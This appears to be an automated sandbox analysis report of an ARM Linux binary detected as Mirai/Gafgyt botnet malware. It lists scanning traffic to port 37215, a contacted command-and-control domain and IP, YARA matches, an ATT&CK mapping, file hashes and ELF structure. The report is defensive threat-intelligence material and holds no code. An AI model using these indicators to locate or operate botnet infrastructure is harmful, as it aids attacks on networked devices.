Source: unknown	Network traffic detected: HTTP traffic on port 35630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38682 -> 37215

Source: /tmp/WIwTo1UTMq.elf (PID: 5525)

Queries kernel information via 'uname':

Jump to behavior

Source: WIwTo1UTMq.elf, 5525.1.00007ffeba087000.00007ffeba0a8000.rw-.sdmp	Binary or memory string: [USx86_64/usr/bin/qemu-arm/tmp/WIwTo1UTMq.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/WIwTo1UTMq.elf
Source: WIwTo1UTMq.elf, 5525.1.000055b56fbe0000.000055b56fd2f000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: WIwTo1UTMq.elf, 5525.1.000055b56fbe0000.000055b56fd2f000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: WIwTo1UTMq.elf, 5525.1.00007ffeba087000.00007ffeba0a8000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: WIwTo1UTMq.elf, type: SAMPLE
Source: Yara match	File source: 5525.1.00007f1cf8017000.00007f1cf802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: WIwTo1UTMq.elf PID: 5525, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: WIwTo1UTMq.elf, type: SAMPLE
Source: Yara match	File source: 5525.1.00007f1cf8017000.00007f1cf802f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: WIwTo1UTMq.elf PID: 5525, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Indicator Removal	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
WIwTo1UTMq.elf	100%	Avira	EXP/ELF.Gafgyt.X

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cyberbotne.stresse.live	94.156.71.55	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	WIwTo1UTMq.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	WIwTo1UTMq.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
200.75.214.4	unknown	Panama	18809	CableOndaPA	false
121.222.108.44	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
25.199.87.19	unknown	United Kingdom	7922	COMCAST-7922US	false
40.180.184.242	unknown	United States	4249	LILLY-ASUS	false
157.84.5.19	unknown	United Kingdom	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.179.39.120	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.172.14.122	unknown	South Africa	37168	CELL-CZA	false
74.3.84.87	unknown	United States	18566	MEGAPATH5-US	false
212.191.184.119	unknown	Poland	16283	LODMAN-AS2MetropolitanAreaNetworkLODMANPL	false
179.190.234.189	unknown	Brazil	28220	CABOSERVICOSDETELECOMUNICACOESLTDABR	false
41.225.14.115	unknown	Tunisia	31245	ATI-ISPTN	false
194.59.240.235	unknown	Czech Republic	29321	CENTRONETASCzechRepublicCZ	false
12.78.154.49	unknown	United States	7018	ATT-INTERNET4US	false
197.204.101.59	unknown	Algeria	36947	ALGTEL-ASDZ	false
194.227.35.222	unknown	United Kingdom	3352	TELEFONICA_DE_ESPANAES	false
159.0.13.117	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
104.168.36.68	unknown	United States	36352	AS-COLOCROSSINGUS	false
157.51.155.77	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
221.213.227.137	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
209.42.232.104	unknown	Netherlands	63410	PRIVATESYSTEMSUS	true
86.27.49.44	unknown	United Kingdom	5089	NTLGB	false
40.69.41.195	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
41.24.86.0	unknown	South Africa	36994	Vodacom-VBZA	false
41.253.208.49	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
71.202.23.19	unknown	United States	7922	COMCAST-7922US	false
109.56.167.33	unknown	Sweden	44034	HI3GSE	false
157.33.98.8	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
69.139.91.110	unknown	United States	7922	COMCAST-7922US	false
176.41.36.87	unknown	Turkey	34984	TELLCOM-ASTR	false
122.130.34.201	unknown	Japan	2518	BIGLOBEBIGLOBEIncJP	false
110.68.87.97	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
142.91.62.19	unknown	United States	395954	LEASEWEB-USA-LAX-11US	false
195.180.12.62	unknown	Germany	6659	NEXINTO-DE	false
152.2.11.65	unknown	United States	36850	UNC-CHUS	false
157.180.38.231	unknown	Sweden	22192	SSHENETUS	false
77.205.250.234	unknown	France	15557	LDCOMNETFR	false
72.134.136.90	unknown	United States	20001	TWC-20001-PACWESTUS	false
14.232.223.43	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
64.157.199.240	unknown	United States	3064	AFFINITY-FTLUS	false
13.157.100.206	unknown	United States	7018	ATT-INTERNET4US	false
126.160.102.140	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
91.12.82.221	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
197.31.187.184	unknown	Tunisia	37492	ORANGE-TN	false
20.91.156.206	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
179.172.125.28	unknown	Brazil	26599	TELEFONICABRASILSABR	false
197.140.232.133	unknown	Algeria	36891	ICOSNET-ASDZ	false
197.187.29.153	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
180.234.22.83	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
197.102.171.175	unknown	South Africa	3741	ISZA	false
169.128.203.58	unknown	United States	37611	AfrihostZA	false
41.35.35.156	unknown	Egypt	8452	TE-ASTE-ASEG	false
207.135.172.15	unknown	United States	16399	FIRSTCOMM-AS2US	false
41.8.37.25	unknown	South Africa	29975	VODACOM-ZA	false
98.243.159.76	unknown	United States	7922	COMCAST-7922US	false
197.128.22.119	unknown	Morocco	6713	IAM-ASMA	false
97.96.217.253	unknown	United States	33363	BHN-33363US	false
76.145.253.123	unknown	United States	7922	COMCAST-7922US	false
149.200.53.160	unknown	Hungary	5483	MAGYAR-TELEKOM-MAIN-ASMagyarTelekomNyrtHU	false
41.179.39.139	unknown	Egypt	24863	LINKdotNET-ASEG	false
157.107.251.188	unknown	Japan	4685	ASAHI-NETAsahiNetJP	false
123.86.39.132	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
197.211.66.65	unknown	South Africa	29918	IMPOL-ASNZA	false
104.104.219.127	unknown	United States	6147	TelefonicadelPeruSAAPE	false
41.189.87.94	unknown	South Africa	37179	AFRICAINXZA	false
176.199.129.147	unknown	Germany	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
62.242.237.32	unknown	Denmark	3292	TDCTDCASDK	false
157.9.186.14	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
165.70.198.4	unknown	United States	29885	UCHHS-ASUS	false
27.132.246.59	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
41.76.191.250	unknown	Kenya	37225	NETWIDEZA	false
31.16.54.28	unknown	Germany	31334	KABELDEUTSCHLAND-ASDE	false
133.173.129.199	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
41.15.19.16	unknown	South Africa	29975	VODACOM-ZA	false
157.85.230.2	unknown	Australia	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
41.102.150.114	unknown	Algeria	36947	ALGTEL-ASDZ	false
189.166.10.196	unknown	Mexico	8151	UninetSAdeCVMX	false
197.240.45.191	unknown	unknown	37705	TOPNETTN	false
69.254.187.221	unknown	United States	7922	COMCAST-7922US	false
183.13.94.217	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
201.185.125.202	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
12.227.62.93	unknown	United States	36105	BBT-ISPUS	false
115.231.119.15	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
213.254.174.222	unknown	United Kingdom	8897	KCOM-SPNService-ProviderNetworkex-MistralGB	false
157.222.228.80	unknown	United States	4704	SANNETRakutenMobileIncJP	false
152.41.70.129	unknown	United States	22854	CATAWBA-COLLEGEUS	false
211.195.208.158	unknown	Korea Republic of	10056	HDMF-ASHyundaiMarinFireInsuranceKR	false
197.205.198.184	unknown	Algeria	36947	ALGTEL-ASDZ	false
213.213.172.182	unknown	Switzerland	15600	FINECOMQuicklineAGCH	false
84.216.103.106	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
197.100.207.216	unknown	South Africa	3741	ISZA	false
67.66.79.207	unknown	United States	7018	ATT-INTERNET4US	false
157.21.250.105	unknown	United States	53446	EVMSUS	false
23.45.221.2	unknown	United States	16625	AKAMAI-ASUS	false
60.249.240.2	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
197.191.86.186	unknown	Ghana	37140	zain-asGH	false
134.158.173.37	unknown	France	789	IN2P3IN2P3AutonomousSystemEU	false
157.117.193.179	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	true
128.139.168.144	unknown	Israel	378	MACHBA-ASILANIL	false
183.151.207.169	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
210.152.164.26	unknown	Japan	2554	IDCF2554IDCFrontierIncJP	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
157.51.155.77	HYeyfkaF8T.elf	Get hash	malicious	Mirai, Moobot	Browse
157.51.155.77	wXK7v8SS6P.elf	Get hash	malicious	Mirai	Browse
197.204.101.59	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse
	bok.arm5.elf	Get hash	malicious	Mirai	Browse
	ak.arm4-20220923-1454.elf	Get hash	malicious	Mirai	Browse
	x86_64-20220922-1222.elf	Get hash	malicious	Mirai, Moobot	Browse
	8UoSNa8TSm	Get hash	malicious	Mirai	Browse
157.84.5.19	K1l26z8zaL.elf	Get hash	malicious	Mirai, Moobot	Browse
41.179.39.120	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
197.172.14.122	ZSlHX40Um2.elf	Get hash	malicious	Mirai, Okiru	Browse
197.172.14.122	Aew6gCjRif.elf	Get hash	malicious	Mirai, Moobot	Browse
41.225.14.115	x86	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-TELSTRATelstraCorporationLtdAU	xd.arm7.elf	Get hash	malicious	Mirai	Browse	1.156.62.201
	ppc.elf	Get hash	malicious	Mirai	Browse	120.147.132.32
	spc.elf	Get hash	malicious	Mirai	Browse	203.40.201.204
	LisectAVT_2403002B_302.exe	Get hash	malicious	Bdaejec, Emotet	Browse	110.145.77.103
	arm7.elf	Get hash	malicious	Mirai	Browse	144.140.78.246
	LisectAVT_2403002C_48.dll	Get hash	malicious	Qbot	Browse	110.142.205.182
	94.156.8.9-skid.x86_64-2024-07-23T17_40_08.elf	Get hash	malicious	Mirai, Moobot	Browse	139.163.94.0
	yIRn1ZmsQF.elf	Get hash	malicious	Unknown	Browse	121.209.19.152
	Rx1EfzuTh3.elf	Get hash	malicious	Unknown	Browse	144.130.17.139
	chfIV0loR4.elf	Get hash	malicious	Unknown	Browse	203.53.75.235
CableOndaPA	l5EsscvvPL.elf	Get hash	malicious	Mirai	Browse	190.140.151.61
	UDxMi3I3lO.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	200.90.133.79
	TGYj8HxqY9.elf	Get hash	malicious	Mirai	Browse	181.197.167.62
	3CMCBTr1Bk.elf	Get hash	malicious	Mirai	Browse	190.141.69.37
	ZXZMRvEA9M.elf	Get hash	malicious	Mirai	Browse	181.197.167.84
	ACKpfvO313.elf	Get hash	malicious	Mirai	Browse	190.219.200.202
	L6i3RnSvpp.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	190.140.175.25
	rzfcEvDxkx.elf	Get hash	malicious	Unknown	Browse	190.140.104.244
	cVxP229sNF.elf	Get hash	malicious	Unknown	Browse	200.46.24.6
	SXfiF4NeaQ.elf	Get hash	malicious	Mirai	Browse	190.141.57.211
COMCAST-7922US	file.exe	Get hash	malicious	Vidar	Browse	73.62.1.179
	xd.mips64.elf	Get hash	malicious	Unknown	Browse	73.47.225.80
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	68.49.17.231
	LisectAVT_2403002A_73.exe	Get hash	malicious	Fareit	Browse	71.192.41.219
	LisectAVT_2403002A_73.exe	Get hash	malicious	Fareit	Browse	71.192.41.219
	m68k.elf	Get hash	malicious	Mirai	Browse	96.79.106.150
	mpsl.elf	Get hash	malicious	Mirai	Browse	74.24.119.207
	ppc.elf	Get hash	malicious	Mirai	Browse	67.187.231.251
	sh4.elf	Get hash	malicious	Mirai	Browse	174.52.32.64
	spc.elf	Get hash	malicious	Mirai	Browse	73.52.142.147

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	5.89651934765297
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	WIwTo1UTMq.elf
File size:	157'189 bytes
MD5:	88e66d3ffdb78ac36dec93f81f898ad1
SHA1:	70383254c1f54b1401ba28ca982cc08b8a8f8cc5
SHA256:	023a49b27d0b741a27487cc730e2289da4170336dc2c106db22e8fa3864d3c02
SHA512:	0a00edfdac538586177dedb64df0fb28421b05220ae9a050c158ccdae929fab537637aa6011909793b428c34cb8fdbd630ef2471b563b5c584a621fe14e52b3e
SSDEEP:	3072:HNaEkEJoa9niU5yae9xfKqF6bBtUKKRsSY6rOYLYM/9iAn9Q:HNa09iWyae9xfKq2BifdY6rOY8M/9Z9Q
TLSH:	A6E33B46EA818B13C4D61776BAAF424533239B64D3DB33069928BFB43F8779E0E63505
File Content Preview:	.ELF..............(.........4...p.......4. ...(........p.u...........................................w...w...............w...w...w..0....................w...w...w..................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	123504
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x14e40	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1cf30	0x14f30	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1cf40	0x14f40	0x2698	0x0	0x2	A	0	0	8
.ARM.extab	PROGBITS	0x1f5d8	0x175d8	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x1f5f0	0x175f0	0x118	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x27708	0x17708	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x2770c	0x1770c	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x2770c	0x1770c	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x27710	0x17710	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x27714	0x17714	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x27718	0x17718	0xa8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x277c0	0x177c0	0x278	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x27a38	0x17a38	0xb068	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x17a38	0xbb0	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x185e8	0x140	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x18728	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x1893b	0x2043	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x1a97e	0x6e2	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x1b060	0xe76	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x1bed8	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x1c190	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x1ca5a	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x1dbe9	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1e141	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x1e157	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1e6f8	0x5450	0x10	0x0		28	767	4
.strtab	STRTAB	0x0	0x23b48	0x2abd	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x175f0	0x1f5f0	0x1f5f0	0x118	0x118	4.4863	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x17708	0x17708	5.9883	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x17708	0x27708	0x27708	0x330	0xb398	4.5056	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x1770c	0x2770c	0x2770c	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80d4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80f0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x1cf30	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x1cf40	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x1f5d8	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x1f5f0	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x27708	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x2770c	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x2770c	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x27710	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x27714	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x27718	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x277c0	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x27a38	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	25
$a	.symtab	0x80d4	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1cf30	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80e0	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1cf3c	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8134	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8194	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x81d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x82cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8424	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8640	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x86ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x871c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8ab0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9144	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9760	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9a00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa1b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa8ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xaf58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb2b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb4e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb780	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbbb8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc0a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc0f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc198	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc26c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcd84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcdb0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcef4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcfc8	0	NOTYPE	<unknown>	DEFAULT	2
